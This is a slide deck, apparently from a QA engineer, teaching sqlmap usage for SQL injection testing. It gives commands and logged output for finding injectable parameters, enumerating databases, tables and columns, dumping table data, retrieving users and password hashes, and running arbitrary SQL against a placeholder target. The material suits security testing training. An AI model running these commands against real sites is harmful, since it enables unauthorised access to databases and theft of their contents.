SQLMAP Tool Usage - A Heads Up

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SQLMAP is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers.

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SQLMAP Tool Usage - A Heads Up

  1. 1. SQLMAP SQL INJECTION AUTOMATION TESTING TOOL Pinaki mohapatra QA @Mindfire Solutions
  2. 2. Roadmap  SQL Injection  SQLMAP  Installation Procedure  Case study (A Partical demonstration using some predefined command that supports SQLMAP tool)
  3. 3. SQL INJECTION  SQL injection is a code injection technique, used to attack data driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker).  A attacker or malicious user could provide unexpected inputs to the application that are then used to frame and execute SQL statements on the database.
  4. 4. Cause The following things might result from SQL injection:  The user could log in to the application as another user, even as an administrator.  The user could view private information belonging to other users e.g. details of other users’ profiles, their transaction details etc.  The user could change application configuration information and the data of the other users.  The user could modify the structure of the database; even delete tables in the application database.  The user could take control of the database server and execute commands on it at will.
  5. 5. SQLMAP Sqlmap is an open source command-line automatic SQL injection tool developed in Python. Its goal is to detect and take advantage of SQL injection vulnerabilities on web applications. Once it detects one or more SQL injections on the target host, the user can then choose among a variety of options to perform an extensive back-end database management system fingerprint, retrieve DBMS user session and other DB related information like databases, tables, columns, user credentails, there privileges or in simply we can say it expose the entire data that are present in DBMS.
  6. 6. SQLMAP Installation Procedure  Pre-requisites to run sqlmap; Python 2.7.x and 3.3.x (Recommended by users) http://www.python.org/download/  Download SQLMAP; http://sourceforge.net/projects/sqlmapwin/? source=navbar  Reference; https://github.com/sqlmapproject/sqlmap/wiki/Usag e
  7. 7. SQLMAP: Finding !! Syntax Format: sqlmap.py -u “<Target url>” (e.g http://www.test.com/index.php/id=5 ) or sqlmap.py -u “http://www.test.com/index.php/id=5” --dbs Default behavior;  Test all GET and/or POST Parameters, for all sqlmap options or commands for all databases.  Yes it may take a long time for executing commands.
  8. 8. SQLMAP: Finding !! Vebosity : Option: -v: This option can be used to set the verbosity level of output messages. There exist seven levels of verbosity. The default level is 1 in which information, warning, error, critical messages and Python tracebacks (if any occur) are displayed. 0: Show only Python tracebacks, error and critical messages. 1: Show also information and warning messages. 2: Show also debug messages. 3: Show also payloads injected. 4: Show also HTTP requests. 5: Show also HTTP responses' headers. 6: Show also HTTP responses' page content.
  9. 9. SQLMAP: Enumeration (I)  Objective Get/Retrieve data from DBMS tables  What can you get : --current-db : Extact current application DB in use --current-user : Expose current DBMS user in use --users : Expose or list out all the users from DB --passwords : Lists all DBMS users, password hashes (sqlmap will automatically try to crack the hashes with a dictionary attack)
  10. 10. SQLMAP: Enumeration (I)  What can you get : --privileges : List user privileges --dbs : Lists all the databases --tables -D <Database name> : List all the table from a specific database --columns -T<Table name>-D<Database name> : List all the columns from a specific table under a database --dump (-D,-T,-C can be used to select what data to dump): Dump data from database/table/column.
  11. 11. CASE STUDY Pratical Demonstration
  12. 12. STEP 1 Syntax: sqlmap.py -u "<Target URL>" Objective: This is a simple command which checks the input parameters to find if they are vulnerable to sql injection or not. For this sqlmap sends different kinds of sql injection payloads to the input parameter and checks the output. In the process sqlmap is also able to identify the remote system os, database name and version. Example: sqlmap.py -u "http://www.test.com/index.php?id=10" Result: C:UserspinakimDesktopsqlmapsqlmap>sqlmap.py -u"http://www.test.com/web/prod_detail.php?ID=216" sqlmap/0.9-dev - automatic SQL injection and database takeover tool http://sqlmap.sourceforge.net [*] starting at: 11:23:29 [11:23:29] [INFO] using 'C:UserspinakimDesktopsqlmapsqlmapoutputwww.test.comsession' as session file [11:23:29] [INFO] resuming match ratio '0.9' from session file
  13. 13. [11:23:29] [INFO] resuming injection parameter 'ID' from session file [11:23:29] [INFO] resuming injection type 'numeric' from session file [11:23:29] [INFO] resuming 0 number of parenthesis from session file [11:23:29] [INFO] resuming back-end DBMS 'mysql 5' from session file [11:23:29] [INFO] resuming back-end DBMS operating system 'None' from session fi le [11:23:29] [INFO] resuming back-end DBMS operating system 'None' from session fi le [11:23:29] [INFO] testing connection to the target url [11:23:32] [INFO] testing for parenthesis on injectable parameter [11:23:32] [INFO] the back-end DBMS is MySQL web application technology: Apache back-end DBMS: MySQL 5 [*] shutting down at: 11:23:32
  14. 14. STEP 2 Syntax: sqlmap.py -u "<Target URL>" --dbs Objective: It list down the databases if the target URL is vulnerable to sql injection. Example: sqlmap.py -u "http://www.test.com/index.php?id=10" --dbs Result: [11:32:17] [INFO] fetching database names [11:32:17] [INFO] fetching number of databases [11:32:17] [INFO] read from file 'C:UserspinakimDesktopsqlmapsqlmapoutput www.test.comsession': 2 [11:32:17] [INFO] read from file 'C:UserspinakimDesktopsqlmapsqlmapoutput www.test.comsession': information_schema [11:32:17] [INFO] read from file 'C:UserspinakimDesktopsqlmapsqlmapoutput www.test.comsession': testingpa available databases [2]: [*] information_schema [*] testingpa
  15. 15. STEP 3 Syntax: sqlmap.py -u "<Target URL>" --tables -D <Database name> Objective: It find the list of tables that exist for the specified Database. Example: sqlmap.py -u "http://www.test.com/index.php?id=10" --tables -D TestDB Result: web application technology: Apache, PHP 5.4.4 back-end DBMS: MySQL >= 5.0.0 [10:34:37] [INFO] fetching tables for database 'testingpa' [10:34:37] [INFO] fetching number of tables for database 'testingpa' [10:34:37] [INFO] retrieved: 36 [10:34:59] [INFO] retrieved: reg_cat [10:37:33] [INFO] retrieved: reg_section
  16. 16. [10:44:46] [INFO] retrieved: admin_right [10:47:35] [INFO] retrieved: admin_user [10:50:20] [INFO] retrieved: new_cat [10:53:03] [INFO] retrieved: new_image [10:56:20] [INFO] retrieved: new_section [11:00:11] [INFO] retrieved: ave_config [11:02:50] [INFO] retrieved: ave_sections [11:06:06] [INFO] retrieved: download_new_cat [11:09:17] [INFO] retrieved: audio_cat [11:11:37] [INFO] retrieved: audio_image [11:14:22] [INFO] retrieved: audio_section . . [12:33:11] [INFO] retrieved: vendor_section Database: testingqa [36 tables]
  17. 17. +-----------------------+ | reg_cat | | reg_section | | admin_group | | admin_right | | admin_user | | new_cat | | new_image | | new_section | | ave_config | | ave_sections | | download_new_cat | | audio_cat | | audio_image | | audio_section | | video_audio_cat | | video_audio_section | | linking_config | | linking_section | | test_cat |
  18. 18. | test_image | | test_section | | test_reg | | test_videos | | miscellanesous_test | | miscellanesous_image | | miscellanesous_section | | newsfuse_config | | newsfuse_section | | newsfuse_section | | promo_reg_cat | | promo_image | | promo_section | | promo_test | | promo_videos | | test_reg_section | | vendor_section | +-----------------------+ [12:36:46] [INFO] Fetched data logged to text files under 'C:UserspinakimDesk topsqlmapsqlmapoutputwww.test.com' [*] shutting down at: 12:36:46
  19. 19. STEP 4 Syntax: sqlmap.py -u "<Target URL>" --columns -D <Database name> -T <Table name> Objective: It find the list of columns that exist for the specified tables under the Database. Example: sqlmap.py -u "http://www.test.com/index.php?id=10" –columns -D TestDB -T Users Result: web application technology: Apache, PHP 5.4.4 back-end DBMS: MySQL 5 [10:46:43] [INFO] fetching columns for table 'req_section' on database 'testingpa' [10:46:43] [INFO] fetching number of columns for table 'reg_section' on datab ase 'testingpa' [10:46:43] [INFO] retrieved: 5 [10:46:56] [INFO] retrieved: reg_id [10:49:13] [INFO] retrieved: int(11)
  20. 20. [10:50:52] [INFO] retrieved: reg_url [10:53:06] [INFO] retrieved: varchar(255) [10:55:53] [INFO] retrieved: reg_redirect [10:59:07] [INFO] retrieved: varchar(255) [11:01:42] [INFO] retrieved: reg_active [11:04:30] [INFO] retrieved: int(11) [11:06:03] [INFO] retrieved: reg_cat_id [11:07:27] [INFO] retrieved: int(11) Database: testingpa Table: reg_section [5 columns]
  21. 21. +-----------------+------------------+ | Column | Type | +-----------------+------------------+ | reg_active | int(11) | | reg_id | int(11) | | reg_redirect| varchar(255) | | reg_url | varchar(255) | | reg_cat_id | int(11) | +-----------------+------------------+ [11:09:08] [INFO] Fetched data logged to text files under 'C:UserspinakimDesk topsqlmapsqlmapoutputwww.test.com' [*] shutting down at: 11:09:08
  22. 22. STEP 5 Syntax: sqlmap.py -u "<Target URL>" --dump -D <Database Name> -T <Table Name> Objective: Now lets comes to the most interesting part, of extracting the data from the table. The below command will retrieve or simply dump the data of the particular table. Example: sqlmap.py -u "http://www.test.com/index.php?id=10" --dump -D TestDB -T users Result: [13:15:46] [INFO] fetching entries for table 'ave_config' on database 'testingpa' [13:15:46] [INFO] fetching number of entries for table 'ave_config' on database 'testingpa' [13:15:46] [INFO] retrieved: 1 [13:15:59] [INFO] retrieved: 1 [13:16:34] [INFO] retrieved: [13:16:49] [INFO] retrieved: info@test.com
  23. 23. [13:22:18] [INFO] retrieved: mike@test.com [13:27:47] [INFO] retrieved: Testing property [13:32:49] [INFO] retrieved: CMS Database: testingpa Table: ave_config [1 entry] +-----------+---------------+------------------------+-------------------------+-----------------------+-------------+ |config_id |site_email_cc|site_email_from |site_email_to |site_owner |site_title | +-----------+---------------+------------------------+-------------------------+-----------------------+-------------+ | 1 | NULL |info@test.com |mike@test.com |Testing property | CMS | +-----------+---------------+------------------------+-------------------------+-----------------------+-------------+ [13:33:51] [INFO] Table 'testingpa.ave_config' dumped to CSV file 'C:Userspi nakimDesktopsqlmapsqlmapoutputwww.test.comdumptestingpaave_co nfig.csv' [13:33:51] [INFO] Fetched data logged to text files under 'C:UserspinakimDesk topsqlmapsqlmapoutputwww.test.com' [*] shutting down at: 13:33:51
  24. 24. Other Related Command 1. To find out more information about the remote system database use the option "-b". It will try to find the exact banner of the database server. Example: sqlmap.py -u "http://www.test.com/index.php?id=10" -b Result: [11:44:40] [INFO] fetching banner [11:44:40] [INFO] the back-end DBMS operating system is None banner: '5.1.67-0+test1' [11:44:40] [INFO] Fetched data logged to text files under 'C:UserspinakimDesk topsqlmapsqlmapoutputwww.test.com' 2. The next command will fetch the list of users and passwords. Example: sqlmap.py -u "http://www.test.com/index.php?id=10" --users --passwords --privileges Result:
  25. 25. [11:53:23] [INFO] fetching database users [11:53:23] [INFO] fetching number of database users [11:53:23] [INFO] read from file 'C:UserspinakimDesktopsqlmapsqlmapoutput www.test.comsession': 1 [11:53:23] [INFO] read from file 'C:UserspinakimDesktopsqlmapsqlmapoutput www.test.comsession': 'testingpa'@'%' database management system users [1]: [*] 'testingpa'@'%' [11:53:23] [INFO] fetching database users password hashes [11:53:23] [INFO] fetching number of password hashes for user 'testingpa' [11:53:23] [INFO] read from file 'C:UserspinakimDesktopsqlmapsqlmapoutput www.test.comsession': [11:53:23] [INFO] read from file 'C:UserspinakimDesktopsqlmapsqlmapoutput www.test.comsession': [11:53:23] [INFO] retrieved: [11:53:27] [WARNING] unable to retrieve the number of password hashes for user ' testingpa' [11:53:27] [ERROR] unable to retrieve the password hashes for the database users
  26. 26. Other Related Command 3. For getting the current user & current database information Example: sqlmap.py -u "http://www.test.com/index.php?id=10" --current-user --is-dba --current-db --thread=10 Result: [11:57:30] [INFO] fetching current user [11:57:30] [INFO] retrieving the length of query output [11:57:30] [INFO] retrieved: 10 [11:59:52] [INFO] retrieved: testingpa@% current user: 'testingpa@%' [11:59:52] [INFO] fetching current database [11:59:52] [INFO] retrieving the length of query output [11:59:52] [INFO] retrieved: 8 [12:00:58] [INFO] retrieved: testingpa current database: 'testingpa' [12:00:58] [INFO] testing if current user is DBA [12:00:58] [INFO] retrieving the length of query output
  27. 27. Other Related Command [12:00:58] [INFO] retrieved: [12:01:06] [INFO] retrieved: current user is DBA: 'False' [12:01:08] [INFO] Fetched data logged to text files under 'C:UserspinakimDesk topsqlmapsqlmapoutputwww.test.com' 4. Run some arbitrary sql command Example: sqlmap.py -u "http://www.test.com/index.php?id=10" -–sql- query="SELECT * FROM <table name>"
  28. 28. References https://github.com/sqlmapproject/sqlmap/wiki/Introduction https://github.com/sqlmapproject/sqlmap https://github.com/sqlmapproject/sqlmap/wiki/Usage http://www.youtube.com/watch?v=4PIk26rfmzQ http://egodox.blogspot.in/2013/04/hack-website-using-sqlmap-sql-injection.html http://www.binarytides.com/sqlmap-hacking-tutorial/
  29. 29. Thank you !!! www.mindfiresolutions.com

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